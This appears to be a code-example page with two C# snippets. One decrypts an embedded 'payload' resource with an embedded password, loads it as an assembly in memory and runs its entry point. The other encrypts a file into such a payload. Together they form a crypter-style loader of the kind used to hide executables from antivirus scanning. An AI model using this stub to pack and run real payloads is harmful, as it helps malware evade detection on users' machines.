Example #1
0
        public static void Main(string[] args)
        {
            var    assembly = Assembly.GetExecutingAssembly();
            string payload  = assembly.GetManifestResourceNames().Single(str => str.EndsWith("payload.txt"));
            string password = assembly.GetManifestResourceNames().Single(str => str.EndsWith("password.txt"));


            using (Stream stream = assembly.GetManifestResourceStream(password))
                using (StreamReader reader = new StreamReader(stream))
                {
                    password = reader.ReadToEnd();
                }


            using (Stream stream = assembly.GetManifestResourceStream(payload))
                using (StreamReader reader = new StreamReader(stream))
                {
                    string result = reader.ReadToEnd();
                    byte[] code   = Convert.FromBase64String(StringCipher.Decrypt(result, password));

                    Assembly exeAssembly = Assembly.Load(code);
                    exeAssembly.EntryPoint.Invoke(null, null);
                }
        }
Example #2
0
        private static string EncryptPayload(string payloadPath, string password)
        {
            string bytes = Convert.ToBase64String(File.ReadAllBytes(payloadPath));

            return(StringCipher.Encrypt(bytes, password));
        }